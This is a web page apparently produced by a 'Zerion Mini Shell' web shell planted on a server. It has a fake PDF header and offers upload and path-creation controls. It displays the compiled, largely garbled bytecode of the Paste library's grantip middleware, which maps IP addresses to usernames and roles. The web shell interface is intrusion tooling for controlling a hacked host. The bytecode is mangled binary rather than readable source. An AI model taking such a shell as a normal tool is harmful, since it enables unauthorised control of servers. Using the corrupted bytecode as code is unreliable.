%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/paste/auth/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/paste/auth/grantip.pyc

�
a�Nc@s<dZddlmZdefd��YZed�ZdS(s-
Grant roles and logins based on IP address.
i����(tip4tGrantIPMiddlewarecBs5eZdZed�Zd�Zd�Zd�ZRS(s
    On each request, ``ip_map`` is checked against ``REMOTE_ADDR``
    and logins and roles are assigned based on that.

    ``ip_map`` is a map of {ip_mask: (username, roles)}.  Either
    ``username`` or ``roles`` may be None.  Roles may also be prefixed
    with ``-``, like ``'-system'`` meaning that role should be
    revoked.  ``'__remove__'`` for a username will remove the username.

    If ``clobber_username`` is true (default) then any user
    specification will override the current value of ``REMOTE_USER``.
    ``'__remove__'`` will always clobber the username.

    ``ip_mask`` is something that `paste.util.ip4:IP4Range
    <class-paste.util.ip4.IP4Range.html>`_ can parse.  Simple IP
    addresses, IP/mask, ip<->ip ranges, and hostnames are allowed.
    cCso||_g|_xM|j�D]?\}}|jjtj|�|j|d|d�f�qW||_dS(Nii(tapptip_maptitemstappendRtIP4Ranget_convert_user_roletclobber_username(tselfRRRtkeytvalue((sC/opt/alt/python27/lib/python2.7/site-packages/paste/auth/grantip.pyt__init__s		"cCs1|r't|t�r'|jd�}n||fS(Nt,(t
isinstancet
basestringtsplit(R	tusernametroles((sC/opt/alt/python27/lib/python2.7/site-packages/paste/auth/grantip.pyR$sc	Cs�tj|dt�}t}g}x�|jD]{\}\}}||kr,|r`|j|�n|dkrut}q�|r�|jd�s�|jr�||d<q�q�q,q,W|r�d|kr�|d=n|r�|j||�n|j	||�S(NtREMOTE_ADDRt
__remove__tREMOTE_USER(
Rtip2inttFalseRtextendtTruetgetRt
_set_rolesR(	R	tenvirontstart_responsetaddrtremove_usert	add_rolestrangeRR((sC/opt/alt/python27/lib/python2.7/site-packages/paste/auth/grantip.pyt__call__)s$		
cCs�|jdd�jd�}td|�}g}xM|D]E}|jd�r`|j|d�q7||kr7|j|�q7q7Wx*|D]"}||kr�|j|�q�q�Wdj|�|d<dS(NtREMOTE_USER_TOKENStR
t-i(RRtfiltertNonet
startswithRtremovetjoin(R	RRt	cur_rolestremove_rolestrole((sC/opt/alt/python27/lib/python2.7/site-packages/paste/auth/grantip.pyR=s

(t__name__t
__module__t__doc__RRRR"R(((sC/opt/alt/python27/lib/python2.7/site-packages/paste/auth/grantip.pyRs
		c
Ks�ddlm}||�}i}x�|j�D]s\}}d|krb|jdd�\}}	n|}d}	|dkr�d}n|	dkr�d}	n|||<q/Wt|||�S(s�
    Grant roles or usernames based on IP addresses.

    Config looks like this::

      [filter:grant]
      use = egg:Paste#grantip
      clobber_username = true
      # Give localhost system role (no username):
      127.0.0.1 = -:system
      # Give everyone in 192.168.0.* editor role:
      192.168.0.0/24 = -:editor
      # Give one IP the username joe:
      192.168.0.7 = joe
      # And one IP is should not be logged in:
      192.168.0.10 = __remove__:-editor
      
    i����(tasboolt:iR$R%(tpaste.deploy.convertersR1RRR(
Rtglobal_confRtkwR1RR
RRR-((sC/opt/alt/python27/lib/python2.7/site-packages/paste/auth/grantip.pytmake_grantipNs		N(R0t
paste.utilRtobjectRRR6(((sC/opt/alt/python27/lib/python2.7/site-packages/paste/auth/grantip.pyt<module>sF

Zerion Mini Shell 1.0